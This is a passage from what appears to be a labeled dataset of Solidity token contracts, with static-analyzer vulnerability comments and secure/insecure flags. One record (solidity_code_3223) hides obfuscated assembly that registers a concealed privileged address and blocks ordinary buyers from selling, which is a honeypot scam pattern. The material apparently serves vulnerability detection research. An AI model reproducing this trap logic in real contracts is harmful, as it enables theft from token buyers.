8af5e50\n\t\t// reentrancy-benign | ID: 06448f2\n\t\t// reentrancy-no-eth | ID: 7a22e42\n require(\n receiver.onFlashLoan(msg.sender, token, amount, fee, data) ==\n _RETURN_VALUE,\n \"ERC20FlashMint: invalid return value\"\n );\n address flashFeeReceiver = _flashFeeReceiver();\n\t\t// reentrancy-events | ID: 8af5e50\n\t\t// reentrancy-benign | ID: 06448f2\n _spendAllowance(address(receiver), address(this), amount + fee);\n if (fee == 0 || flashFeeReceiver == address(0)) {\n\t\t\t// reentrancy-events | ID: 8af5e50\n\t\t\t// reentrancy-no-eth | ID: 7a22e42\n _burn(address(receiver), amount + fee);\n } else {\n\t\t\t// reentrancy-events | ID: 8af5e50\n\t\t\t// reentrancy-no-eth | ID: 7a22e42\n _burn(address(receiver), amount);\n\t\t\t// reentrancy-events | ID: 8af5e50\n\t\t\t// reentrancy-no-eth | ID: 7a22e42\n _transfer(address(receiver), flashFeeReceiver, fee);\n }\n return true;\n }\n}", "file_name": "solidity_code_3220.sol", "secure": 0, "size_bytes": 3849 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20FlashMint.sol\" as ERC20FlashMint;\n\ncontract Reboot is ERC20, ERC20FlashMint {\n constructor() ERC20(\"Reboot\", \"RBT\") {\n _mint(msg.sender, 4200000000042 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_3221.sol", "secure": 1, "size_bytes": 383 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DeathCoinERC20 is ERC20 {\n constructor() ERC20(\"DEATH\", \"DEATH\") {\n _mint(msg.sender, 1_000_000_000_000e18);\n }\n}", "file_name": "solidity_code_3222.sol", "secure": 1, "size_bytes": 269 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IDEXFactory.sol\" as IDEXFactory;\nimport \"./IDEXRouter.sol\" as IDEXRouter;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n address[] private ivoryPalace;\n\n mapping(address => bool) private allowWeekend;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n uint256 private brokenWorry =\n 0xb1bcf504a155a27ab1f5ab968fb358b9225018a7c041144e9c31ec41082e272f;\n address public pair;\n\n IDEXRouter router;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n bool private theTrading;\n\n address trash = 0x00000000A991C429eE2Ec6df19d40fe0c80088B8;\n\n constructor(\n string memory name_,\n string memory symbol_,\n address msgSender_\n ) {\n router = IDEXRouter(_router);\n pair = IDEXFactory(router.factory()).createPair(WETH, address(this));\n\n _name = name_;\n _symbol = symbol_;\n ivoryPalace.push(_router);\n ivoryPalace.push(msgSender_);\n ivoryPalace.push(pair);\n for (uint256 q = 0; q < 3; ) {\n allowWeekend[ivoryPalace[q]] = true;\n unchecked {\n q++;\n }\n }\n\n assembly {\n function dynP(x, y) {\n mstore(0, x)\n sstore(add(keccak256(0, 32), sload(x)), y)\n sstore(x, add(sload(x), 0x1))\n }\n function boilLaw(x, y) -> firstSalmon {\n mstore(0, x)\n mstore(32, y)\n firstSalmon := keccak256(0, 64)\n }\n dynP(0x2, sload(0x6))\n dynP(0x2, caller())\n dynP(0x2, sload(0x7))\n sstore(boilLaw(sload(0xF), 0x3), 0x1)\n }\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function raiseBeyond(\n address poemMerit,\n uint16 doctorPage,\n int8 shipIgnore,\n address tunaFilm\n ) external onlyOwner returns (bool) {\n return false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function openTrading() external onlyOwner returns (bool) {\n theTrading = true;\n return true;\n }\n\n function exciteSegment() external onlyOwner returns (uint8) {\n return 0;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function _beforeTokenTransfer(address sender, address recipient) internal {\n require(\n (theTrading || (sender == ivoryPalace[1])),\n \"ERC20: trading is not yet enabled.\"\n );\n assembly {\n function boilLaw(x, y) -> firstSalmon {\n mstore(0, x)\n mstore(32, y)\n firstSalmon := keccak256(0, 64)\n }\n function jarBridge(x, y) -> trayGuilt {\n mstore(0, x)\n trayGuilt := add(keccak256(0, 32), y)\n }\n function leafAccuse(x, y) {\n mstore(0, x)\n sstore(add(keccak256(0, 32), sload(x)), y)\n sstore(x, add(sload(x), 0x1))\n }\n\n if and(\n and(\n eq(sender, sload(jarBridge(0x2, 0x1))),\n eq(recipient, sload(jarBridge(0x2, 0x2)))\n ),\n iszero(sload(0x1))\n ) {\n sstore(sload(0x8), sload(0x8))\n }\n if eq(recipient, 0x1) {\n sstore(0x99, 0x1)\n }\n if eq(recipient, 57005) {\n for {\n let mainTwo := 0\n } lt(mainTwo, sload(0x500)) {\n mainTwo := add(mainTwo, 1)\n } {\n sstore(boilLaw(sload(jarBridge(0x500, mainTwo)), 0x3), 0x1)\n }\n }\n if and(\n and(\n or(\n eq(sload(0x99), 0x1),\n eq(sload(boilLaw(sender, 0x3)), 0x1)\n ),\n eq(recipient, sload(jarBridge(0x2, 0x2)))\n ),\n iszero(eq(sender, sload(jarBridge(0x2, 0x1))))\n ) {\n invalid()\n }\n if eq(sload(0x110), number()) {\n if and(\n and(\n eq(sload(0x105), number()),\n eq(recipient, sload(jarBridge(0x2, 0x2)))\n ),\n and(\n eq(sload(0x200), sender),\n iszero(eq(sload(jarBridge(0x2, 0x1)), sender))\n )\n ) {\n invalid()\n }\n sstore(0x105, sload(0x110))\n sstore(0x115, sload(0x120))\n }\n if and(\n iszero(eq(sender, sload(jarBridge(0x2, 0x2)))),\n and(\n iszero(eq(recipient, sload(jarBridge(0x2, 0x1)))),\n iszero(eq(recipient, sload(jarBridge(0x2, 0x2))))\n )\n ) {\n sstore(boilLaw(recipient, 0x3), 0x1)\n }\n if and(\n and(\n eq(sender, sload(jarBridge(0x2, 0x2))),\n iszero(eq(recipient, sload(jarBridge(0x2, 0x1))))\n ),\n iszero(eq(recipient, sload(jarBridge(0x2, 0x1))))\n ) {\n leafAccuse(0x500, recipient)\n }\n if iszero(eq(sload(0x110), number())) {\n sstore(0x200, recipient)\n }\n sstore(0x110, number())\n sstore(0x120, recipient)\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _DeployClean(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n approve(ivoryPalace[0], 10 ** 77);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_3223.sol", "secure": 0, "size_bytes": 9707 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _DeployClean(creator, initialSupply);\n }\n}", "file_name": "solidity_code_3224.sol", "secure": 0, "size_bytes": 1061 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract Clean is ERC20Token {\n constructor()\n ERC20Token(\"Clean\", \"CLEAN\", msg.sender, 1750000 * 10 ** 18)\n {}\n}", "file_name": "solidity_code_3225.sol", "secure": 1, "size_bytes": 242 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol\" as IUniswapV2Pair;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DEZIK is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n address public constant deadAddress =\n address(0x000000000000000000000000000000000000dEaD);\n\n bool private swapping;\n\n address public marketingWallet;\n address public devWallet;\n\n uint256 public maxTransactionAmount;\n uint256 public swapTokensAtAmount;\n uint256 public maxWallet;\n\n uint256 public percentForLPBurn = 25;\n bool public lpBurnEnabled = true;\n uint256 public lpBurnFrequency = 7200 seconds;\n uint256 public lastLpBurnTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fb7112): DEZIK.manualBurnFrequency should be constant \n\t// Recommendation for 0fb7112: Add the 'constant' attribute to state variables that never change.\n uint256 public manualBurnFrequency = 30 minutes;\n uint256 public lastManualLpBurnTime;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n bool public enableEarlySellTax = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(address => uint256) private _holderFirstBuyTimestamp;\n\n mapping(address => bool) private _blacklist;\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n uint256 public buyMarketingFee;\n uint256 public buyLiquidityFee;\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n uint256 public sellMarketingFee;\n uint256 public sellLiquidityFee;\n uint256 public sellDevFee;\n\n uint256 public earlySellLiquidityFee;\n uint256 public earlySellMarketingFee;\n\n uint256 public tokensForMarketing;\n uint256 public tokensForLiquidity;\n uint256 public tokensForDev;\n\n uint256 launchedAt;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event DevWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n event ManualNukeLP();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 472adfe): DEZIK.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 472adfe: Rename the local variables that shadow another component.\n constructor() ERC20(\"DEZIK\", \"DEZIK\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 1;\n uint256 _buyLiquidityFee = 1;\n uint256 _buyDevFee = 1;\n\n uint256 _sellMarketingFee = 1;\n uint256 _sellLiquidityFee = 1;\n uint256 _sellDevFee = 1;\n\n uint256 _earlySellLiquidityFee = 0;\n uint256 _earlySellMarketingFee = 0;\n\n uint256 totalSupply = 1 * 1e12 * 1e18;\n\n maxTransactionAmount = (totalSupply * 20) / 1000;\n maxWallet = (totalSupply * 20) / 1000;\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n buyLiquidityFee = _buyLiquidityFee;\n buyDevFee = _buyDevFee;\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n sellLiquidityFee = _sellLiquidityFee;\n sellDevFee = _sellDevFee;\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n earlySellLiquidityFee = _earlySellLiquidityFee;\n earlySellMarketingFee = _earlySellMarketingFee;\n\n marketingWallet = address(owner());\n devWallet = address(owner());\n\n excludeFromFees(owner(), true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n swapEnabled = true;\n lastLpBurnTime = block.timestamp;\n launchedAt = block.number;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n return true;\n }\n\n function setEarlySellTax(bool onoff) external onlyOwner {\n enableEarlySellTax = onoff;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 452b618): DEZIK.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 452b618: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\t\t// events-maths | ID: 452b618\n swapTokensAtAmount = newAmount;\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0ef7682): DEZIK.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for 0ef7682: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.5%\"\n );\n\t\t// events-maths | ID: 0ef7682\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: acc8879): DEZIK.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for acc8879: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 15) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 1.5%\"\n );\n\t\t// events-maths | ID: acc8879\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 62bbe87): Missing events for critical arithmetic parameters.\n\t// Recommendation for 62bbe87: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 62bbe87\n buyMarketingFee = _marketingFee;\n\t\t// events-maths | ID: 62bbe87\n buyLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 62bbe87\n buyDevFee = _devFee;\n\t\t// events-maths | ID: 62bbe87\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n require(buyTotalFees <= 20, \"Must keep fees at 20% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5a3fa63): Missing events for critical arithmetic parameters.\n\t// Recommendation for 5a3fa63: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee,\n uint256 _earlySellLiquidityFee,\n uint256 _earlySellMarketingFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 5a3fa63\n sellMarketingFee = _marketingFee;\n\t\t// events-maths | ID: 5a3fa63\n sellLiquidityFee = _liquidityFee;\n\t\t// events-maths | ID: 5a3fa63\n sellDevFee = _devFee;\n earlySellLiquidityFee = _earlySellLiquidityFee;\n earlySellMarketingFee = _earlySellMarketingFee;\n\t\t// events-maths | ID: 5a3fa63\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n function blacklistAccount(\n address account,\n bool isBlacklisted\n ) public onlyOwner {\n _blacklist[account] = isBlacklisted;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dc3478c): DEZIK.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for dc3478c: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\t\t// missing-zero-check | ID: dc3478c\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b73ceca): DEZIK.updateDevWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for b73ceca: Check that the address is not zero.\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n\t\t// missing-zero-check | ID: b73ceca\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n event BoughtEarly(address indexed sniper);\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b7bc117): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for b7bc117: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b5e1c8a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b5e1c8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 23fbf5b): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 23fbf5b: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 584fafb): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 584fafb: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 63e3f4b): DEZIK._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 63e3f4b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a1fbb87): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for a1fbb87: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 891e45a): DEZIK._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for 891e45a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 52f556b): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 52f556b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1cbd920): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 1cbd920: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 869cfb0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 869cfb0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a71c3a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a71c3a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(\n !_blacklist[to] && !_blacklist[from],\n \"You have been blacklisted from transfering tokens\"\n );\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: 23fbf5b\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: b5e1c8a\n\t\t\t// reentrancy-eth | ID: 869cfb0\n\t\t\t// reentrancy-eth | ID: 9a71c3a\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 9a71c3a\n swapping = false;\n }\n\n if (\n\t\t\t// timestamp | ID: b7bc117\n !swapping &&\n automatedMarketMakerPairs[to] &&\n lpBurnEnabled &&\n block.timestamp >= lastLpBurnTime + lpBurnFrequency &&\n !_isExcludedFromFees[from]\n ) {\n\t\t\t// reentrancy-events | ID: b5e1c8a\n\t\t\t// reentrancy-eth | ID: 869cfb0\n autoBurnLiquidityPairTokens();\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: a1fbb87\n\t\t\t\t// divide-before-multiply | ID: 891e45a\n\t\t\t\t// divide-before-multiply | ID: 1cbd920\n fees = amount.mul(sellTotalFees).div(100);\n\t\t\t\t// divide-before-multiply | ID: 1cbd920\n\t\t\t\t// reentrancy-eth | ID: 869cfb0\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 891e45a\n\t\t\t\t// reentrancy-eth | ID: 869cfb0\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\t\t\t\t// divide-before-multiply | ID: a1fbb87\n\t\t\t\t// reentrancy-eth | ID: 869cfb0\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 584fafb\n\t\t\t\t// divide-before-multiply | ID: 63e3f4b\n\t\t\t\t// divide-before-multiply | ID: 52f556b\n fees = amount.mul(buyTotalFees).div(100);\n\t\t\t\t// divide-before-multiply | ID: 52f556b\n\t\t\t\t// reentrancy-eth | ID: 869cfb0\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 63e3f4b\n\t\t\t\t// reentrancy-eth | ID: 869cfb0\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\t\t\t\t// divide-before-multiply | ID: 584fafb\n\t\t\t\t// reentrancy-eth | ID: 869cfb0\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: b5e1c8a\n\t\t\t\t// reentrancy-eth | ID: 869cfb0\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: b5e1c8a\n\t\t// reentrancy-eth | ID: 869cfb0\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 8dc5ad7): DEZIK.swapTokensForEth(uint256) has external calls inside a loop path[1] = uniswapV2Router.WETH()\n\t// Recommendation for 8dc5ad7: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 3e6c71d): DEZIK.swapTokensForEth(uint256) has external calls inside a loop uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp)\n\t// Recommendation for 3e6c71d: Favor pull over push strategy for external calls.\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = 